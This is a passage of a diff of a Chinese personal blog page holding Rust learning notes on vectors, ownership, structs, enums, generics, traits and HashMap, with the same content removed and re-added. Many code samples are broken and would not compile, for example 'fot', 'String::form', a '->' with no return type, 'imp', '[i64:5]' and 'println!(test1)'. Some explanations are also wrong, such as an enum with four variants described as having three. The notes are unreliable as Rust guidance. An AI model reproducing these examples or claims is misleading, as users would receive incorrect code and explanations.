+</code></pre><p>当然也可以提供初始值来创建</p><pre><code>let b = vec![2,4,68];
 </code></pre><p>rust可以根据字面量来自动推断出类型</p><p>动态数组增加元素使用push方法，例如：</p><p>let mut a: Vev = Vec::new()；
 a.push(1);
 a.push(2);
 a.push(3);
 a.push(4);
-a.push(5);</p><p>注意：动态数组离开当前作用域会被丢弃销毁</p><p>获取动态数组的元素，可通过get方法或者索引来完成，例如：</p><pre><code>let a = vec![2,4,68];
-let b = a.get(2);
-let c = &amp;a[2];
-</code></pre><p>get方法和索引的区别是，get方法访问超过数组不存在的元素是不会报错的，而是返回none，而索引访问是会导致报错，程序崩溃的</p><p>遍历动态数组</p><pre><code>let a = vec![2,4,68];
-fot i in &amp;a{
-    println!(&quot;{}&quot;,i);
-};
-</code></pre><p>动态数组支持枚举类型，这可以让动态数组存储不同类型的值，例如；</p><pre><code>enum Hallo{
-    Int(i64),
-    Text(String),
-};
-let a = vec![
-    Hallo::Int(666),
-    Hallo::Text(Sting::from(&quot;hallo word&quot;)),
-];
-</code></pre><p>函数，是rust的第一个公民，main函数是rust程序入口文件，而且函数定义可在main函数之前或者之后，使用fn关键字来声明，例如：</p><pre><code>fn hallo_word(){
-    println!(&quot;hallo word&quot;);
-};
-fn main(){
-    hallo_word();
-};
-</code></pre><p>函数参数</p><pre><code>fn main(){
-    a(666);
-};
-fn a(x:i64){
-    println!(&quot;{}&quot;,x);
-};
-</code></pre><p>函数返回值</p><pre><code>fn main(){
-    a(666);
-};
-fn a(x:i64) -&gt;{
-    x+123
-};
-</code></pre><p>注意：返回值使用->返回，而且不能使用分号，因为语句无法作为返回值返回</p><hr><p>if判断</p><pre><code>let a = 1;
-if a &lt;10{
-    println!(&quot;true &gt;10&quot;);
-}else if(a&gt;0){
-    println!(&quot;true &gt;10&quot;);
-}else{
-    println!('none')
-};
-</code></pre><p>注意：if判断必须提供一个布尔类型的值，否则会抛出错误</p><p>表达式是可以赋值给变量的，例如：let boola = true; let a = if boola{1} else{2}</p><p>rust的循环有3种，分别是for，while，以及loop</p><p>for遍历循环（常用于遍历集合元素），例如：</p><pre><code>let a = [1,2,3,45,6];
-for b in a {
-    println!(&quot;{}&quot;,b);
-};
-</code></pre><p>while循环，条件为真执行，为假停止循环。例如：</p><pre><code>let mut a = 0
-while a &lt;= 10{
-    println!(&quot;hallo wrod&quot;);
-    a +=1;
-};
-</code></pre><p>loop关键字可以一直执行语句，直到被跳出（可使用break关键字），例如：</p><pre><code>let mut count = 0;
-loop{
-    println!(&quot;hallo word&quot;);
-    if (count == 5){
-        break;
-    };
-    count +=1;
-};
-</code></pre><p>loop循环可以搞个标签，来指定终止哪次循环（嵌套循环下），例如：&lsquo;a&rsquo;: loop{ break &lsquo;a&rsquo;}</p><p>continue操作符可跳出当前循环，去执行下次循环，一般搭配if分支语句来使用</p><hr><p>所有权</p><p>所有权是rust的特性之一，无需gc垃圾回收机制就可以保证内存安全</p><p>作用域是一个语句块在程序中有效的范围，在该范围内的变量是有效的，离开该范围后将自动释放内存空间</p><p>释放内存空间是使用rust提供的一个叫drop函数，会在结尾}自动调用该函数</p><p>当一个变量的值是指针时，赋值给另一个变量，当这2个变量离开作用域后，会导致二次释放，因为这2个变量指向的是同一个内存空间地址，二次释放会导致内存污染，这个指针实质上是在堆上的</p><p>rust为了解决二次释放导致的内存安全问题，当一个存在指针值的变量赋值给另一个变量后，会销毁第一个变量，而无需再等到离开作用域，第一个变量将变成是无效的，这个赋值将不是复制，而是剪切板一样，移动数据</p><p>如果需要复制堆的数据，可使用clone方法，例如：</p><pre><code>let a = String::from(&quot;hallo word&quot;);
-let b = a.clone();
-println!(&quot;{},{}&quot;a,b);
-</code></pre><p>注意：移动数据只针对栈上的指针之类的有效，如果是赋值的是整型之类存在在栈上的，是不需要移动，因为复制指针这些"引用类型"需要耗费性能，rust通过copy trait标注来决定是否赋值给其他变量后，这个变量是否还有效，只要类型实现了copy trait就可以</p><p>支持copy trait的类型：全部整数类型，布尔类型，浮点类型，字符类型，元组（部分类型支持）</p><p>为了避免需要引用变量而导致原变量失效，rust提供了引用功能，例如：</p><pre><code>let a = String::from(&quot;hallo word&quot;);
-let b = &amp;a;
-</code></pre><p>引用不会具备该值的所有权，但是可以指向这个值</p><p>引用实质上是借用的，是不能修改借用的值，如果想修改可提前对具备所有权的变量声明mut可变，例如：</p><pre><code>let mut a = String::from(&quot;hallo&quot;);
-let b = &amp;mut a;
-</code></pre><p>注意：同一个作用域中只能有一个对这个数据进行可变引用，使用多个可变引用会报错，这是为了避免竞争</p><p>切片类型也是没有所有权的，对切片类型进行操作，是不会影响到原来的值，例如：</p><pre><code>let a = String::from(&quot;hallo world&quot;);
-let hello = &amp;a[0..5];
-let world = &amp;a[6..11];
-a.clear();
-</code></pre><hr><p>结构体与元组一样，元素可以是多个类型，但是和元组不同的是，结构图具备元素别名，并且使用struct来定义结构体，例如：</p><pre><code>struct Name{
-    id: i64,
-    username: String,
-    email: String,
-    pass: String,
-};
-</code></pre><p>上面例子就是一个结构体，这个结构体的名称叫Name，具备4个字段，每个字段有自己对于的字段名称和类型</p><p>有结构体当然也有结构体实例，结构体是结构体实例的抽象</p><pre><code>let name1 = Name{
-    id: 1,
-    username: String::from(&quot;root&quot;),
-    email: String::form(&quot;a@xiaochenabc123.test.com&quot;),
-    pass: String::form(&quot;123456789&quot;),
-};
-println!(&quot;hallo {}&quot;, name1.username);
-name1.email = String::from(&quot;b@xiaochenabc123.test.com&quot;);
-</code></pre><p>注意：结构体实例必须按照结构体每个字段的类型要求进行初始化，不需要按照结构体声明的字段顺序一样</p><p>利用函数返回值来完成结构体的实例化，例如：</p><pre><code>fn NameTest(username: String, email: String, pass: String) -&gt;{
-    Name{
-        username,
-        email,
-        pass,
-    };
-};
-fn main(){
-    let name01 = NameTest(&quot;user01&quot;,&quot;test@xiaochenabc123.test.com&quot;,&quot;12356987&quot;);
-    println!(&quot;hallo {}&quot;, name01.username);
-};
-</code></pre><p>基于已有的实例，创建新的实例，例如：</p><pre><code>let name2 = Name{
-    username: String::from(&quot;uesr02&quot;),
-    ..name01
-};
-</code></pre><p>注意：其中..name01是表示其他字段将从name01实例中获取</p><p>元组结构体（结构体字段没名称的就叫元组结构体）</p><pre><code>struct Abc(i64,bool,f64);
-let abc1 = Abc(100,true,3.14);
-</code></pre><p>单元结构体（这玩意和go的空结构体一样，只定义一个结构体，但是没有字段和属性）</p><pre><code>struct Xyz;
-let xyz1 = Xyz;
-</code></pre><p>结构体的所有权：当使用已有的实例，创建新的实例时，改变的字段的所有权将会被转移到新的实例，原有的实例的那个字段将失效，其他字段正常，因此使用结构体应该避免使用引用类型</p><hr><p>枚举</p><pre><code>enum HomeTest{
-    Hallo,
-    Xyz,
-    Abc,
-    Hahaha(i64)
-};
-struct Demo{
-    home: HomeTest,
-    id: i64,
-}
-fn main(){
-    let test1 = HomeTest::Hallo;
-    let test2 = HomeTest::Abc;
-    println!(test1);
-    println!(test2);
-    let a = Demo{
-        home: HomeTest::Abc,
-        id: 1,
-    }
-    let b = Demo{
-        home: HomeTest::Hallo,
-        id: 2,
-    }
-}
-</code></pre><p>上面例子中，通过enum关键字声明并且定义一个枚举类型，这个枚举类型有3个枚举成员，通过::操作符来访问枚举的成员，枚举是一种类型，因此可用于函数参数类型，结构体类型等等</p><p>枚举的成员可以是任何类型的数据，也可以限制成员的数据类型，结构体使用{}，单个使用()，多个可使用逗号分割</p><p>rust的空值使用Option枚举类型来表示，而不是null</p><p>Option，Some，None都包含在prelude标准库中，不需要在源码中声明，或者引用，直接就可以使用</p><p>Option枚举类型的实现</p><pre><code>enum Option&lt;T&gt; {
-    Some(T),
-    None,
-};
-</code></pre><p>表示一个空值</p><pre><code>let null1: Option&lt;i64&gt; = None;
-</code></pre><p>如果使用None，则需要提前提供是什么类型，因为无法通过None来推断出类型</p><p>Option比null好的原因是，Option(T)和任何类型都不相同，无法将Option和i64类型的值进行处理</p><p>如果有值则：</p><pre><code>let num1:Option &lt;i64&gt; = Some(233);
-</code></pre><p>如果使用Some，表示有个值存于Some中</p><p>使用Option枚举类型：</p><pre><code>fn Test(a:Option&lt;i64&gt;) -&gt; Option&lt;i64&gt; {
-    match a {
-        Some(i) =&gt; Some(i),
-        None =&gt; None,
-    }
-}
-let abc = Some(666);
-let xyz = Test(abc);
-</code></pre><p>上面例子中，通过Test函数传入一个Option类型的参数，并且返回一个Option类型的值，使用match模式匹配，如果传入None则返回None，传入Some(i64)，则返回其本身（也就是Some(i64)）</p><hr><p>模式匹配</p><p>match语句</p><pre><code>enum Demo{
-    Hallo,
-    Abc,
-    Xyz,
-};
-let test1 = Demo::Xyz;
-let test2 = match test1 {
-    Demo::Hallo =&gt; &quot;hallo word&quot;,
-    Demo::Abc | Demo::Xyz =&gt; &quot;hallo abcxyz&quot;,
-    },
-    _ =&gt;&quot;0&quot;,
-};
-</code></pre><p>上面例子中进行匹配Demo对应的枚举类型，match会穷尽列出全部已知的可能，如果存在不知道的可能，使用下划线_来表示，match语句与switch语句很像，match的分支必须指向一个表达式，而且每个分支的表达式结果必须是相同类型的</p><p>假如只想对单个模式来进行处理，可使用if let语句，例如：</p><pre><code>let test1 = Demo::Xyz;
-if let Test2(Demo::Xyz) = test1{
-    println!(&quot;hallo wrod&quot;);
-}
-</code></pre><p>上面例子中，如果匹配到Demo::Xyz，输出hallo wrod，如果不匹配则忽略</p><p>注意：match和if let会在模式匹配时进行覆盖老值，绑定新的值</p><p>matches!宏匹配，可以将一个表达式和模式来进行匹配，返回结果是布尔值，例如：</p><pre><code>let a = 1;
-assert!(matches!(1..100 | -1..-100));
-</code></pre><hr><p>方法</p><p>rust使用impl关键字来定义方法</p><pre><code>struct Demo {
-    id: i64,
-    user: String,
-}
-impl Demo {
-    fn new(id: i64, user: String) -&gt; Demo {
-        Demo{
-            id: id,
-            user: user,
-        }
-    }
-    fn printa(&amp;self){
-        println!(self.user)
-    }
-}
-fn mian(){
-    let a = Demo{
-        id: 1,
-        user: &quot;root&quot;,
-    }
-    a.printa()
-}
-</code></pre><p>&amp;self为借用Demo结构体，new函数是Demo方法的关联函数，用于初始化结构体实例</p><p>&amp;self是self: &amp;Self的简写，self有所有权，而&amp;self是表示不可变借用，&amp;mut self就是可变借用</p><p>impl Demo是struct Demo的实现，另外rust允许方法名与结构体的字段名相同，调用方法加()，否则就是在访问字段</p><p>rust自动引用和解引用：当一个对象调用方法时，会自动为该对象添加&，&amp;mut，*来确保该对象能与方法匹配</p><p>关联函数：当一个存在于impl中，但是没有使用self的函数就被叫关联函数，通常存在impl中的new函数是结构体的构造实例器（rust没有使用new作为关键字，并不强制使用new）</p><p>关联函数因为不是方法，需要使用::来调用，例如Demo::new(2,&ldquo;admin&rdquo;)</p><p>rust允许将结构体定义成多个impl块，而不需要全部都写到一块，更灵活扩展</p><p>枚举类型也可被实现</p><hr><p>泛型与特征</p><p>泛型，当需要对可能存在不同类型的数据处理，但是处理逻辑是一样时，可使用泛型来避免重复，例如：</p><pre><code>fn test&lt;T: std::ops::Add&lt;Output = T&gt;&gt;(a:T, b:T) -&gt; T {
-    a + b
-}
-fn mian(){
-    println!(&quot;{}&quot;,test(1,2));
-    println!(&quot;{}&quot;,test(3.14,1.23));
-}
-</code></pre><p>注意：T是泛型参数，泛型参数是可自定义的，不过一般都是用T（表示Type），T可以表示任何类型，但是不是所有类型可以进行比较运算处理的，需要通过特征（这里是&lt;T: std::ops::Add&lt;Output = T>）来限制T的类型</p><p>结构体泛型</p><pre><code>struct Demo&lt;T&gt;{
-    a: T,
-    b: T,
-}
-fn main(){
-    let x = Demo{a: 1,b: 21};
-    let y = Demo{a: 1.23, b: 3.14};
-    let z = Demo{a: &quot;hallo word&quot;, b: &quot;hahaha&quot;}
-}
-</code></pre><p>注意：结构体中使用T泛型的，必须是相同类型，因为第一个字段被赋值，会推断T类型为该赋值的实质类型，因此会报错的</p><p>如果想使用类型不同，又想使用泛型，可使用多个泛型参数来分别表示不同的类型</p><p>枚举泛型，Option枚举类型就是使用了泛型的，这里就不写了</p><p>方法泛型，例如：</p><pre><code>struct Demo&lt;T, U&gt; {
-    id: T,
-    user: U,
-}
-impl&lt;T,U&gt; Demo&lt;T,U&gt; {
-    fn new(id: T, user: U) -&gt; Demo&lt;T,U&gt; {
-        Demo{
-            id: id,
-            user: user,
-        }
-    }
-    fn printa(&amp;self){
-        println!(self.user)
-    }
-}
-</code></pre><p>注意：使用泛型参数必须在提前声明</p><p>const泛型（Rust 1.51 版本引入）</p><p>const泛型是针对值的泛型，而不是针对类型，例如：</p><pre><code>fn Demo&lt;T: std::fmt::Debug,const U:i64&gt;(a:[T; U]){
-    println!(&quot;{:?}&quot; a)
-}
-fn main(){
-    let a: [i64:5] = [0,123,666,888,987];
-    Demo(a)
-    let a: [i64:2] = [0,123];
-    Demo(a)
-}
-</code></pre><p>rust在编译阶段会对泛型的多个类型生成独立的代码（单态），会牺牲一些编译完成文件的大小和编译速度</p><p>特征</p><p>声明一个特征使用trait关键字，例如：</p><pre><code>pub trait Demo {
-    fn DemoTest(&amp;self);
-}
-</code></pre><p>实现一个特征</p><pre><code>pub struct Home {
-    pub user: String,
-    pub pass: String,
-}
-impl Demo for Home {
-    fn DemoTest(&amp;self) -&gt; String {
-        format!(&quot;用户是{},密码是{}&quot;,self.user,self.pass);
-    }
-}
-pub struct Abc {
-    pub admin: String,
-    pub rank: String,
-}
-impl Demo for Abc {
-    fn DemoTest(&amp;self) -&gt; String {
-        format!(&quot;管理者是{},管理等级是{}&quot;,self.admin,self.rank);
-    }
-}
-
-fn main() {
-    let home1 = Home{user: &quot;xiaochen&quot;,padd: &quot;abc123456789&quot;};
-    let xyz = Abc{admin: &quot;main&quot;,rank: &quot;max&quot;};
-println!(&quot;{}&quot;,home1.DemoTest());
-println!(&quot;{}&quot;,xyz.DemoTest());
-}
-</code></pre><p>从上面的例子中可以看出，特征是定义了一种行为，实现该特征就可使用该行为，特征和结构体，枚举类型是很像的，但是特征可被共享到每个实现上（因为rust没有继承概念，但是行为/方法是相同的）</p><p>注意：特征存在一种规则，想实现一个特征必须至少一个是在当前作用域定义的，这个规则是为了避免不会破坏特征和实现的定义</p><p>默认实现（无需实现该方法，默认使用该实现，也可对默认实现进行重载）</p><pre><code>pub trait Demo {
-    fn DemoTest(&amp;self) -&gt; String {
-        String::form(&quot;hallo wrod&quot;);
-    }
-}
-</code></pre><p>只要在实现中没有重载该方法，就会使用默认实现</p><p>特征作为函数参数</p><pre><code>pub fn Demo1(data: &amp;impl Demo){
-    println!(&quot;{}&quot;,data.DemoTest());
-}
-</code></pre><p>在上面例子中，data函数参数实现了Demo特征，当然也可以使用其他实现了Demo特征的类型来作为参数</p><p>特征约束</p><pre><code>pub fn Demo2&lt;T: Demo&gt; (data: &amp;T){}
-</code></pre><p>上面例子就是特征约束，特征约束可限制函数参数必须是实现了Demo特征的类型</p><p>多重约束</p><pre><code>pub fn Demo3&lt;T: Demo + AbcTest&gt; (data: &amp;T){}
-</code></pre><p>或者</p><pre><code>pub fn Demo3(data: &amp;(impl Demo + AbcTest)){}
-</code></pre><p>上面例子就是多重约束，可限制参数必须使用Demo特征，还必须实现AbcTest特征</p><p>Where 约束（简写多重约束）</p><pre><code>pub fn Demo4&lt;T&gt;(data: &amp;T) -&gt; String
-    where T: Demo + AbcTest,
-    {}
-</code></pre><p>特征约束高级应用</p><pre><code>impl &lt;T:Dome1 + Dome2&gt; Demo&lt;T&gt; {
-    fn Test1(&amp;self){
-        println!(&quot;hallo word&quot;);
-    }
-}
-</code></pre><p>上面例子中，只有实现了Dome1特征和Dome2特征的Demo才拥有Test1方法</p><p>impl Demo也可以声明返回了一个类型，这个类型实现了Demo特征，例如：</p><pre><code>fn Demo5() -&gt; impl Demo {
-    Home{
-        user: String::from(&quot;xiaochen&quot;),
-        padd: String::from(&quot;abc123456789&quot;),
-    };
-}
-</code></pre><hr><p>集合类型</p><p>集合类型，在rust中是特殊的类型，因为集合类型可以表示多个值，而其他数据类型大多只能表示一个值，集合类型的值被分配到堆内存上，集合类型分3种，分别是vector动态数组（每个元素分配的空间都是一致的，大小，宽度，高度），HashMap KV存储（每个元素都是成对，一个k对应着另一个v），以及String类型</p><p>创建vector动态数组</p><pre><code>let mut a: Vec(i64) = Vec::new();
-</code></pre><p>注意：rust编译器可通过a.push()自行推导出数据类型，因此不显式声明类型也是没问题的</p><p>还可以通过vec!宏来创建，例如：</p><pre><code>let mut a = vec![123,666,888,1000];
-</code></pre><p>更新动态数组，通过push方法来完成，例如：</p><pre><code>let mut a = Vec::new();
-a.push(123);
-</code></pre><p>读取元素，有2种方式，分别是下标索引，get方法，例如：</p><pre><code>let mut a = vec![123,666,888,1000];
-let b: &amp;i32 = &amp;a[3];
-    match a.get(3){
-            Some(c) =&gt; println!(&quot;{c}&quot;),
-            None =&gt; println!(&quot;没有这个元素&quot;)
-    }
-</code></pre><p>集合类型的下标索引从0开始，&amp;a[3]是借用a动态数组的第4个元素，也就是1000，最后获取导该元素的引用</p><p>get方法的返回值是Option&lt;&amp;T>，因此需要match来匹配解构出目标值</p><p>下标索引和get方法的区别，很简单，就是下标索引会出现数组越界问题（报错），而get方法通过Option&lt;&amp;T>。如果不存在该值会返回None（安全，不报错）</p><p>动态数组和其他类型一样，超出作用域外，会被自动销毁</p><p>注意：动态数组的大小是可变的，因此当原数组大小不够时，会分配一个更大的内存空间，再将原数组拷贝到这个更大的内存空间的新数组上，因此在push之前不要进行任何引用避免分配到新内存空间后，之前的引用指到一块无效的内存，rust编译器会自动检查，如果在push之前进行了引用（包括不可变借用和可变借用），如果在push之后没有使用，就正常通过，如果使用了，会报错</p><p>可创建指定大小的Vector，通过Vec::with_capacity(10)来完成</p><p>迭代遍历动态数组元素</p><pre><code>let mut a = vec![123,666,888,1000];
-for i in &amp;mut a {
-    *i += 1;
-    println!(&quot;{i}&quot;);
-}
-</code></pre><p>通过枚举类型和特征对象来实现动态数组存储不同类型的元素，例如：</p><p>枚举类型</p><pre><code>enum Abc {
-    id(i64),
-    user(String),
-    padd(String),
-}
-fn useraddr(abc:Abc){
-    println!(&quot;{:?}&quot;,abc);
-}
-
-fn main(){
-    let a = vec![
-        Abc::id(1); 
-        Abc::user(&quot;admin&quot;.to_string()); 
-        Abc::padd(String::from(&quot;123456&quot;)); 
-    ]
-    for i in a {
-        useraddr(i);
-    }
-}
-</code></pre><p>特征对象</p><pre><code>trait Abc {
-    fn useraddr(&amp;self);
-}
-struct id(i64);
-imp Abc for id {
-    fn useraddr(&amp;self) {
-        println!(&quot;id: {:?}&quot;,self.0)
-    }
-}
-
-struct user(String);
-imp Abc for user {
-    fn useraddr(&amp;self) {
-        println!(&quot;user: {:?}&quot;,self.0)
-    }
-}
-
-struct padd(String);
-imp Abc for padd {
-    fn useraddr(&amp;self) {
-        println!(&quot;padd: {:?}&quot;,self.0)
-    }
-}
-fn main() {
-    let a: Vec&lt;data&lt;dyn Abc&gt;&gt; = vec![
-        data::new(id(1)),
-        data::new(user(&quot;admin&quot;.to_string())),
-        data::new(padd(&quot;123456&quot;.to_string())),
-    ];
-    for i in a {
-        i.useraddr();
-    }
-}
-</code></pre><p>注意：必须表示数组中存储的是哪个特征的对象，例如上面例子中的Vec&lt;data>，表示是特征Abc的对象</p><p>HashMap KV存储和动态数组不同，存储的是映射的KV键值对，可通过一个键查询到值，查询效率非常高，复杂度为O(1)</p><p>创建HashMap KV存储</p><p>可通过new方法创建，例如：</p><pre><code>use std::collections::HashMap;
-let mut hashdata = HashMap::new();
-hashdata.insert(&quot;uesr&quot;,&quot;admin&quot;);
-hashdata.insert(&quot;padd&quot;,&quot;admin12345&quot;);
-</code></pre><p>注意：HashMap没有包含在Rust的prelude中，需要手动从标准库中use引入</p><p>可创建指定大小的HashMap，通过HashMap::with_capacity(10)来完成</p><p>可以通过迭代器和collect方法创建，例如：</p><pre><code>use std::collections::HashMap;
-let DataList = vec![
-    (&quot;牛奶&quot;.to_string(), 3),
-    (&quot;方便面&quot;.to_string(), 4),
-    (&quot;可乐&quot;.to_string(), 3),
-];
-let MapData: HashMap&lt;_,_&gt; = DataList.into_iter().collect();
-println!(&quot;{:?}&quot;,MapData)
-</code></pre><p>注意：HashMap的所有权取决于kv的类型，如果类型实现了Copy特征，那么改类型被复制到HashMap中，如果没有实现，则所有权转移到HashMap</p><p>获取HashMap元素通过get方法，例如：</p><pre><code>use std::collections::HashMap;
-let mut abc = HashMap::new();
-abc.insert(String::from(&quot;雪糕&quot;), 4);
-let test = String::from(&quot;雪糕&quot;);
-let testSearch: Option&lt;&amp;i32&gt; = abc.get(&amp;test);
-let testScore: i32 = testSearch.get(&amp;test).copied().unwrap_or(0);
-</code></pre><p>上面例子使用了借用规则，避免获取元素时，发生所有权的转移，并且使用Option&lt;&amp;i32>类型，如果没有该对象，返回None，安全</p><p>更新HashMap的中，例如：</p><pre><code>use std::collections::HashMap;
-let mut data1 = HashMap::new();
-   data1.insert(&quot;薯条&quot;, 5);
-   let a = data1.insert(&quot;薯条&quot;, 10);
-assert_eq!(a, Some(5));
-   let b = data1.get(&quot;薯条&quot;);
-assert_eq!(b, Some(&amp;10));
-let c = data1.entry(&quot;啤酒&quot;).or_insert(5);
-assert_eq!(*c, 5);
-</code></pre><p>上面例子中包含覆盖值；查询新插入的值；查询目标值，如果不存在则插入新值，3种情况</p><p>注意：不是所有类型都可以作为hashmap的key，能否作为取决于类型是否实现了std::cmp::Eq特征（相等比较），目前HashMap使用的哈希函数是SipHash散列函数</p><hr><p>类型转换</p><hr><p>包和模块</p><hr><p>格式化输出</p><hr><p>生命周期</p><hr><p>错误处理</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/rust/>Rust</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/144/><span class=title>« Prev</span><br><span>简单了解a11y无障碍</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/141/><span class=title>Next »</span><br><span>Flutter框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+a.push(5);</p><p>注意：动态数组离开当前作用域会被丢弃销毁</p><p>获取动态数组的元素，可通过get方法或者索引来完成，例如：</p><pre><code>let a = vec![2,4,68];
+let b = a.get(2);
+let c = &amp;a[2];
+</code></pre><p>get方法和索引的区别是，get方法访问超过数组不存在的元素是不会报错的，而是返回none，而索引访问是会导致报错，程序崩溃的</p><p>遍历动态数组</p><pre><code>let a = vec![2,4,68];
+fot i in &amp;a{
+    println!(&quot;{}&quot;,i);
+};
+</code></pre><p>动态数组支持枚举类型，这可以让动态数组存储不同类型的值，例如；</p><pre><code>enum Hallo{
+    Int(i64),
+    Text(String),
+};
+let a = vec![
+    Hallo::Int(666),
+    Hallo::Text(Sting::from(&quot;hallo word&quot;)),
+];
+</code></pre><p>函数，是rust的第一个公民，main函数是rust程序入口文件，而且函数定义可在main函数之前或者之后，使用fn关键字来声明，例如：</p><pre><code>fn hallo_word(){
+    println!(&quot;hallo word&quot;);
+};
+fn main(){
+    hallo_word();
+};
+</code></pre><p>函数参数</p><pre><code>fn main(){
+    a(666);
+};
+fn a(x:i64){
+    println!(&quot;{}&quot;,x);
+};
+</code></pre><p>函数返回值</p><pre><code>fn main(){
+    a(666);
+};
+fn a(x:i64) -&gt;{
+    x+123
+};
+</code></pre><p>注意：返回值使用->返回，而且不能使用分号，因为语句无法作为返回值返回</p><hr><p>if判断</p><pre><code>let a = 1;
+if a &lt;10{
+    println!(&quot;true &gt;10&quot;);
+}else if(a&gt;0){
+    println!(&quot;true &gt;10&quot;);
+}else{
+    println!('none')
+};
+</code></pre><p>注意：if判断必须提供一个布尔类型的值，否则会抛出错误</p><p>表达式是可以赋值给变量的，例如：let boola = true; let a = if boola{1} else{2}</p><p>rust的循环有3种，分别是for，while，以及loop</p><p>for遍历循环（常用于遍历集合元素），例如：</p><pre><code>let a = [1,2,3,45,6];
+for b in a {
+    println!(&quot;{}&quot;,b);
+};
+</code></pre><p>while循环，条件为真执行，为假停止循环。例如：</p><pre><code>let mut a = 0
+while a &lt;= 10{
+    println!(&quot;hallo wrod&quot;);
+    a +=1;
+};
+</code></pre><p>loop关键字可以一直执行语句，直到被跳出（可使用break关键字），例如：</p><pre><code>let mut count = 0;
+loop{
+    println!(&quot;hallo word&quot;);
+    if (count == 5){
+        break;
+    };
+    count +=1;
+};
+</code></pre><p>loop循环可以搞个标签，来指定终止哪次循环（嵌套循环下），例如：&lsquo;a&rsquo;: loop{ break &lsquo;a&rsquo;}</p><p>continue操作符可跳出当前循环，去执行下次循环，一般搭配if分支语句来使用</p><hr><p>所有权</p><p>所有权是rust的特性之一，无需gc垃圾回收机制就可以保证内存安全</p><p>作用域是一个语句块在程序中有效的范围，在该范围内的变量是有效的，离开该范围后将自动释放内存空间</p><p>释放内存空间是使用rust提供的一个叫drop函数，会在结尾}自动调用该函数</p><p>当一个变量的值是指针时，赋值给另一个变量，当这2个变量离开作用域后，会导致二次释放，因为这2个变量指向的是同一个内存空间地址，二次释放会导致内存污染，这个指针实质上是在堆上的</p><p>rust为了解决二次释放导致的内存安全问题，当一个存在指针值的变量赋值给另一个变量后，会销毁第一个变量，而无需再等到离开作用域，第一个变量将变成是无效的，这个赋值将不是复制，而是剪切板一样，移动数据</p><p>如果需要复制堆的数据，可使用clone方法，例如：</p><pre><code>let a = String::from(&quot;hallo word&quot;);
+let b = a.clone();
+println!(&quot;{},{}&quot;a,b);
+</code></pre><p>注意：移动数据只针对栈上的指针之类的有效，如果是赋值的是整型之类存在在栈上的，是不需要移动，因为复制指针这些"引用类型"需要耗费性能，rust通过copy trait标注来决定是否赋值给其他变量后，这个变量是否还有效，只要类型实现了copy trait就可以</p><p>支持copy trait的类型：全部整数类型，布尔类型，浮点类型，字符类型，元组（部分类型支持）</p><p>为了避免需要引用变量而导致原变量失效，rust提供了引用功能，例如：</p><pre><code>let a = String::from(&quot;hallo word&quot;);
+let b = &amp;a;
+</code></pre><p>引用不会具备该值的所有权，但是可以指向这个值</p><p>引用实质上是借用的，是不能修改借用的值，如果想修改可提前对具备所有权的变量声明mut可变，例如：</p><pre><code>let mut a = String::from(&quot;hallo&quot;);
+let b = &amp;mut a;
+</code></pre><p>注意：同一个作用域中只能有一个对这个数据进行可变引用，使用多个可变引用会报错，这是为了避免竞争</p><p>切片类型也是没有所有权的，对切片类型进行操作，是不会影响到原来的值，例如：</p><pre><code>let a = String::from(&quot;hallo world&quot;);
+let hello = &amp;a[0..5];
+let world = &amp;a[6..11];
+a.clear();
+</code></pre><hr><p>结构体与元组一样，元素可以是多个类型，但是和元组不同的是，结构图具备元素别名，并且使用struct来定义结构体，例如：</p><pre><code>struct Name{
+    id: i64,
+    username: String,
+    email: String,
+    pass: String,
+};
+</code></pre><p>上面例子就是一个结构体，这个结构体的名称叫Name，具备4个字段，每个字段有自己对于的字段名称和类型</p><p>有结构体当然也有结构体实例，结构体是结构体实例的抽象</p><pre><code>let name1 = Name{
+    id: 1,
+    username: String::from(&quot;root&quot;),
+    email: String::form(&quot;a@xiaochenabc123.test.com&quot;),
+    pass: String::form(&quot;123456789&quot;),
+};
+println!(&quot;hallo {}&quot;, name1.username);
+name1.email = String::from(&quot;b@xiaochenabc123.test.com&quot;);
+</code></pre><p>注意：结构体实例必须按照结构体每个字段的类型要求进行初始化，不需要按照结构体声明的字段顺序一样</p><p>利用函数返回值来完成结构体的实例化，例如：</p><pre><code>fn NameTest(username: String, email: String, pass: String) -&gt;{
+    Name{
+        username,
+        email,
+        pass,
+    };
+};
+fn main(){
+    let name01 = NameTest(&quot;user01&quot;,&quot;test@xiaochenabc123.test.com&quot;,&quot;12356987&quot;);
+    println!(&quot;hallo {}&quot;, name01.username);
+};
+</code></pre><p>基于已有的实例，创建新的实例，例如：</p><pre><code>let name2 = Name{
+    username: String::from(&quot;uesr02&quot;),
+    ..name01
+};
+</code></pre><p>注意：其中..name01是表示其他字段将从name01实例中获取</p><p>元组结构体（结构体字段没名称的就叫元组结构体）</p><pre><code>struct Abc(i64,bool,f64);
+let abc1 = Abc(100,true,3.14);
+</code></pre><p>单元结构体（这玩意和go的空结构体一样，只定义一个结构体，但是没有字段和属性）</p><pre><code>struct Xyz;
+let xyz1 = Xyz;
+</code></pre><p>结构体的所有权：当使用已有的实例，创建新的实例时，改变的字段的所有权将会被转移到新的实例，原有的实例的那个字段将失效，其他字段正常，因此使用结构体应该避免使用引用类型</p><hr><p>枚举</p><pre><code>enum HomeTest{
+    Hallo,
+    Xyz,
+    Abc,
+    Hahaha(i64)
+};
+struct Demo{
+    home: HomeTest,
+    id: i64,
+}
+fn main(){
+    let test1 = HomeTest::Hallo;
+    let test2 = HomeTest::Abc;
+    println!(test1);
+    println!(test2);
+    let a = Demo{
+        home: HomeTest::Abc,
+        id: 1,
+    }
+    let b = Demo{
+        home: HomeTest::Hallo,
+        id: 2,
+    }
+}
+</code></pre><p>上面例子中，通过enum关键字声明并且定义一个枚举类型，这个枚举类型有3个枚举成员，通过::操作符来访问枚举的成员，枚举是一种类型，因此可用于函数参数类型，结构体类型等等</p><p>枚举的成员可以是任何类型的数据，也可以限制成员的数据类型，结构体使用{}，单个使用()，多个可使用逗号分割</p><p>rust的空值使用Option枚举类型来表示，而不是null</p><p>Option，Some，None都包含在prelude标准库中，不需要在源码中声明，或者引用，直接就可以使用</p><p>Option枚举类型的实现</p><pre><code>enum Option&lt;T&gt; {
+    Some(T),
+    None,
+};
+</code></pre><p>表示一个空值</p><pre><code>let null1: Option&lt;i64&gt; = None;
